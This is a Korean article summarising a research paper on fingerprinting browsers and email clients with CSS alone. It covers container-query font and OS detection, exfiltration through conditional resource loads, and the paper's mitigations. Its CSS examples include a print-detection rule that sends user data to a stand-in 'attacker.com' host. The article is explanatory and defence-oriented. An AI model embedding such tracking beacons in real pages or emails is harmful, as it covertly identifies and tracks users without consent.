들어가기 전

Cascading Spy Sheets: Exploiting the Complexity of Modern CSS for Email and Browser Fingerprinting
본 아티클의 내용은 다음 논문의 내용을 바탕으로 정리해서 만들어졌습니다.
Javascript 없이 CSS만으로 사용자 정보를 수집할 수 있다는 사실이 신기해서 한번 정리해보고자 작성했습니다. 더 많은 내용이 관심 생긴다면 원 논문을 참고하셔도 좋을 것 같습니다.
사생활 보호의 진화, 그리고 추적 기술의 변화
온라인 추적은 오랫동안 타겟 광고와 웹 경제의 핵심 역할을 해왔다.

과거에는 사용자를 고유하게 식별하기 위해 주로 쿠키, 특히 제3자 쿠키가 활용되었는데, 하지만 사생활 침해에 대한 인식이 높아지고 법적 규제가 강화되면서 제3자 쿠키의 사용이 점차 제한되었다. 최근에는 끝까지 버티던 구글 크롬에서마저도 지원이 중단되었다.
하지만 여전히 전통적인 JavaScript 기반 접근 방식이 수많은 웹사이트에서 방문자를 추적하는 데 사용되고 있는데, FingerprintJS가 대표적이겠다.
Javascript 기반 접근 방식과 CSS 기반 접근 방식
JavaScript 기반 접근 방식은 설치된 글꼴, 플러그인, 렌더링 차이, GPU 기능, 화면 해상도, 언어, CPU 모델, 시스템 마이크로아키텍처 등 다양한 속성에 접근할 수 있어 브라우저 인스턴스를 고유하게 식별하고 사용자를 추적할 수 있다.
물론 좀 급진적이더라도 Tor 브라우저처럼 JavaScript를 비활성화해버리면 이를 막을 수 있겠지만, 최근 연구에서는 CSS만으로도 사용자 정보를 수집할 수 있다는 가능성이 보도되었다. 예를 들어 미디어 쿼리를 사용하여 HTML 요소의 크기를 측정함으로써 클라이언트 환경 특성을 간접적으로 추론할 수 있다.
CSS 기반 핑거프린팅은 JavaScript와 달리 브라우저에서 비활성화할 수 없기 때문에 광범위하게 적용될 수 있고, CSS 표준이 발전하며 조건문과 산술 연산 뿐 아니라 코드 실행에 근접하는 여러 기능을 도입했기 때문에 이 논문에서 소개하지 못한 다양한 정보 유출 방법이 생겨났을 것이다.
CSS 기반의 핑거프린팅 방법들
CSS 컨테이너 쿼리(@container) 활용
@container 규칙은 부모 컨테이너의 크기(예: 너비, 높이)에 따라 스타일의 조건부 적용을 허용하는 기능이고, lh, vw와 같은 상대 단위를 절대 단위(px)로 지정된 기준값과 비교하면 이런 상대 단위의 절대 크기를 추론할 수 있다. 이 상대 단위는 렌더링 환경에 대한 정보(예: 글꼴 가용성, 사용자 구성, 뷰포트 너비)를 담고 있기 때문에 이런 것들이 가능해진다.
폰트 감지 (Font Detection)

@container 규칙을 사용하여 특정 폰트가 시스템에 설치되어 있는지 추론할 수 있다. ch, ex, ic, cap 같은 폰트 상대 단위는 글리프 및 폰트 간에 크기가 다른 점을 이용하면 된다. 테스트하려는 폰트를 하나의 컨테이너에만 적용하고, 다른 컨테이너에는 기본 대체 폰트를 적용한 후 컨테이너의 크기를 비교하여 폰트 가용성을 확인할 수 있다.
#container {
container-type: inline-size;
font-family: 'Leelawadee', sans-serif; /* Leelawadee가 없으면 sans-serif 사용 */
font-style: normal;
font-weight: 100;
font-size: 11px;
width: 1cap; /* '0' 문자의 너비에 상대적인 단위 */
}
/* Leelawadee가 설치되어 너비가 7.5px보다 크면 배경 이미지를 office-yes로 설정 */
@container (width > 7.5px) {
* {
background-image: url(/office-yes);
}
}
/* Leelawadee가 설치되어 있지 않아 너비가 7.5px보다 작으면 배경 이미지를 office-no로 설정 */
@container (width < 7.5px) {
* {
background-image: url(/office-no);
}
}기본 속성 값 추론
주요 브라우저마다 기본 줄 높이 값이 다르므로 lh 값을 이용해서 브라우저를 식별할 수 있다 (예: Chrome 18, Firefox 19). 또한, 사용자에 의해 커스텀될 수 있는 다른 기본 속성 값도 식별할 수 있다.
미디어 쿼리 복제
@media 규칙으로 뷰포트 정보(너비, 높이, 종횡비 등)를 쿼리할 수 있는데, @container 규칙을 사용하여 vh 또는 vw와 같은 뷰포트 상대 단위를 컨테이너에 적용하고 절대 단위와 비교함으로써 동일한 정보를 획득할 수 있다.
Element 크기 측정
HTML Element의 크기를 직접 측정하는 기법도 있다. Element와 컨테이너를 래퍼(wrapper) 요소 안에 넣고 래퍼가 내용물 너비에 맞게 확장되도록 설정한 후, 컨테이너 쿼리를 통해 Element의 정확한 크기를 추론하는 방법인데, 이 기법은 OS에 따라 기본 스타일이 다른 Element(예: <button>)나 브라우저 언어 설정에 따라 너비가 달라지는 Element(예: <input type="file">)를 측정하는 데 사용될 수 있다. 물론 이는 글리프의 너비와 사용된 폰트에 따라 달라지므로 일반적인 폰트 핑거프린팅에도 사용될 수 있다.
번역 도구 감지
Element 크기 측정 능력을 활용하여 번역 도구 사용 및 대상 언어를 감지할 수도 있다. 브라우저 내장 번역 도구는 DOM 내용을 수정해서 요소에 포함된 글리프를 변경하기 때문에 Element의 너비에 영향을 준다. 구글 크롬의 번역 기능을 사용하여 131개 언어 중 127개 언어의 번역 결과가 너비가 고유하여 정확하게 구분할 수 있었다고 한다.
CSS 함수 활용 (calc(), env())
calc() 함수를 사용하면 속성 값을 동적으로 계산할 수 있는데, 복잡한 산술 표현식의 계산 결과가 브라우저 버전, 운영 체제 및 CPU 아키텍처의 구현 세부 사항에 따라 미묘하게 다른 점을 이용해서 사용자의 브라우저와 OS를 식별할 수 있다.
#container {
container-type: inline-size;
width: calc(...); /* 운영체제별로 다른 결과를 내는 매우 복잡한 calc() 표현식 */
}
/* 너비가 293694.0625px이 아니면 (Windows가 아니면) 배경 이미지를 /not-windows로 설정 */
@container not (width: 293694.0625px) {
body {
background-image: url(/not-windows);
}
}
/* 너비가 293694.0625px이면 (Windows면) 배경 이미지를 /windows로 설정 */
@container (width: 293694.0625px) {
body {
background-image: url(/windows);
}
}또한 env() 함수는 CSS 환경 변수에 접근할 수 있고, safe-area-inset-* 또는 viewport-segment-*와 같은 변수는 장치의 노치(notch)나 폴딩 여부 등 하드웨어 기능에 따라 달라지므로, 특히 모바일 장치를 구분하는 추가적인 핑거프린팅 벡터를 제공한다. 연구 결과, 아이폰 모델과 심지어 iOS의 사파리와 크롬 브라우저 간에도 safe-area-inset-* 값에서 차이가 관찰되었다.
이런 기법들을 통해 조사 대상 브라우저-OS 조합의 97%를 구분할 수 있었다. 일반적으로 모든 운영 체제와 브라우저 엔진 간의 차이를 탐지할 수 있었다. 동일한 엔진을 사용하는 브라우저 내에서도 종종 차이를 감지할 수 있었다.
브라우저 확장 프로그램 감지
브라우저 확장 프로그램이 DOM을 수정하거나 스타일시트를 삽입하여 발생하는 차이도 감지할 수 있다. 확장 프로그램이 기존 요소에 클래스 이름을 추가하거나, 특정 요소의 폰트 패밀리를 수정하거나, 미디어 요소를 대체하는 등의 변화를 CSS 셀렉터나 컨테이너 쿼리를 통해 감지하고 핑거프린팅할 수 있다. NoScript 확장 프로그램과 같은 인기 확장 프로그램의 미디어 차단 기능도 CSS 셀렉터(__NoScript_PlaceHolder__ 클래스 이름 등)를 사용하여 감지할 수 있음을 보였다.
정보 유출(Exfiltration)
위에서 설명한 기술들을 통해 식별된 핑거프린팅 특징은 네트워크 요청을 통해 공격자에게 전송되어야 그 쓸모를 다 하는데, @media, @supports, @import나 image-set() , @font-face의 src 속성 등을 통해 특정 CSS 조건이 충족될 때만 원격 리소스를 가져오도록 하여 사용자 정보를 서버에 알릴 수 있다. (예시는 앞선 코드 예제에서 확인 가능)
이러한 기술들을 조합한 결과, 연구자들은 JavaScript를 사용하지 않고도 1176개의 테스트된 브라우저-OS 조합 중 1152개(97.95%)를 구분할 수 있었다.
이메일 클라이언트 핑거프린팅
이 논문에서는 이메일 클라이언트 핑거프린팅이라는 새로운 공격 유형의 가능성 또한 입증했는데, 이메일 환경은 JavaScript 실행과 iframe이 차단되는 등 웹 브라우저에 비해 훨씬 제한적이지만 여전히 많은 이메일 클라이언트에서 CSS 기반 핑거프린팅에 사용할 수 있는 기능을 지원한다.
따라서 이메일 클라이언트도 핑거프린팅의 위협에서 안전하지 않다.
이메일 클라이언트 핑거프린팅의 도구들
이메일 클라이언트 핑거프린팅은 웹과는 다른 흥미로운 정보를 수집할 수 있다.
오피스 설치 감지
컨테이너 쿼리 기반 폰트 핑거프린팅 기술을 사용하여 Microsoft Office 설치 여부를 감지할 수 있다. Apple iCloud Mail에서 특정 폰트(예: Leelawadee, Gill Sans)의 존재 여부를 확인하는 방식인데, 이 기법으로 토르 브라우저의 글꼴 핑거프린팅 완화책을 우회할 수도 있다.
차단 목록 우회 및 이메일 격리 파괴
Mozilla Thunderbird 및 Alinto SOGo와 같은 클라이언트에서 외부 로드된 CSS에 인라인 스타일과 동일한 제약이 적용되지 않는다는 점을 발견했다.
특히 SOGo의 경우 @import 규칙을 사용하여 외부 CSS를 로드하는 것이 허용된 스타일에 대한 제한을 우회할 뿐만 아니라 이메일 격리를 파괴하는 것으로 나타났다. SOGo는 네임스페이스 기법을 사용하여 이메일 스타일을 해당 컨텍스트로 제한하려고 하지만, 외부 스타일시트에는 이 절차가 적용되지 않았다. 이를 통해 공격자는 "Blind CSS Data Exfiltration" 공격을 수행하여 피해자의 받은 편지함에 있는 다른 이메일의 제목을 유출할 수 있었다.
이 문제는 CVE-2024-24510이 할당되었으며, SOGo 버전 5.9.1.20240124-1에서 수정되었다.
인쇄 감지
@media print 또는 @page 규칙을 사용하여 이메일이 인쇄되는 시점을 감지할 수 있다. 이는 인쇄 시 원격 콘텐츠 로드를 트리거할 수 있다.
@media print { /* 인쇄 시에만 이 규칙이 활성화된다. */
body {
/* 인쇄 시 원격 서버의 특정 URL에서 이미지를 로드하도록 설정 */
background-image: url("https://attacker.com/print_detected?user=<user_id>×tamp=<timestamp>");
}
}전달 감지
이메일 클라이언트의 CSS 지원 특징은 이메일이 어떤 클라이언트에서 열렸는지 드러낼 수 있다. 이를 통해 이메일이 다른 클라이언트로 전달되거나 열렸는지 감지할 수 있으며, 계정 도용이나 의도하지 않은 전달 여부를 나타낼 수도 있다.
조건부 콘텐츠
핑거프린팅 대신, 감지된 환경에 따라 콘텐츠를 동적으로 표시하는 데 기술이 사용될 수 있다. 예를 들어, OS 감지를 통해 해당 시스템에 맞는 악성 링크를 표시하여 스피어 피싱 공격의 성공률을 높일 수 있다.
이처럼 이메일 클라이언트 핑거프린팅은 웹 세션을 이메일 계정에 연결하거나, 사용자의 모든 이메일 주소를 식별하거나, 피싱 메일 및 타겟 공격을 개선하는 등 다양한 새로운 위협 시나리오를 만들 수 있다.
완화 방안
위에서 소개한 기술들은 현재의 최신 방어 메커니즘으로는 막을 수 없으므로, 논문에서는 CSS 기반 핑거프린팅의 근본 원인을 해결하기 위한 두 가지 기본적인 완화 방안을 제시한다.
브라우저 완화: 조건부 리소스의 무조건부 선 로딩
위에서 소개한 핑거프린팅 방법들에서 정보 유출의 핵심 단계는, 조건부 HTTP 요청을 통해 핑거프린팅 특징을 전송하는 것이다. 따라서 CSS에 참조된 모든 조건부 리소스를 미리 로드해버리면 공격자가 사용자 정보를 알아낼 수 없게 된다.
Firefox 확장 프로그램으로 PoC 해보았을 때, 평균 네트워크 트래픽이 30% 증가하는 오버헤드를 보였다. 이는 사용자 사생활 보호를 위한 수용 가능한 성능 트레이드오프임을 보여준다.
이메일 클라이언트 완화: 이메일 프라이버시 프록시 (Email Privacy Proxy)
이메일 환경에서는 HTML 이메일 표준이 고정되어 있지 않아 브라우저와 다른 완화 전략을 사용할 수 있다. 연구자들은 수신자의 사생활 보호와 이메일 무결성을 향상시키는 프록시 서비스를 제안한다.
최상위 규칙 변환
최상위 CSS 규칙(예: <link>, <style> 요소에 정의된 @rules)을 스타일 속성(style attributes)으로 변환하는 방법이다. @rules는 최상위 스타일시트에서만 정의될 수 있으며, 스타일 속성은 이메일 클라이언트에서 널리 지원되고 다른 스타일시트보다 우선순위를 가지며, 이메일의 스타일을 해당 컨텍스트에 국한시키므로 핑거프린팅 표면을 크게 줄인다.
원격 리소스를 직접 데이터 URL로 포함하기
이미지 같은 원격 리소스를 이메일 내에 직접 데이터로 포함하면 핑거프린팅 정보 유출을 제거하고 추적 픽셀의 기능을 약화시킨다. 또한 원격 리소스가 나중에 수정되거나 제거될 수 있는 위험을 방지하여 이메일의 무결성을 강화하고 장기적인 이메일 아카이빙을 용이하게 만든다.
HTML 이메일 뉴스레터 200건에서 PoC 해보았을 때, 이메일 크기가 100%에서 2000%까지 크게 증가하는 오버헤드를 보였지만 일반 텍스트 이메일에는 오버헤드가 없다.
결론
CSS의 기능이 더 늘어남에 따라 브라우저 핑거프린팅 방지가 점점 더 어려워지고 있다.
fuzzing 및 templating 기반의 혁신적인 기법들은 컨테이너 쿼리, 산술 표현식 평가, 복잡한 셀렉터의 미묘한 차이를 악용하여 브라우저 및 OS 구성을 추론할 수 있고, 특히 HTML 이메일과 같이 매우 제한적인 환경에서도 적용 가능함을 시연하여 추적 범위를 브라우저 너머로 확장했다.
그렇기에 논문에서는 기존 및 잠재적 미래의 CSS 기반 핑거프린팅을 완화하기 위해 조건부 리소스의 선 로딩에 의존하는 포괄적인 완화 방안을 제안하며, 새로운 추적 방법에 대한 강력한 방어의 중요성을 강조하며 마무리한다.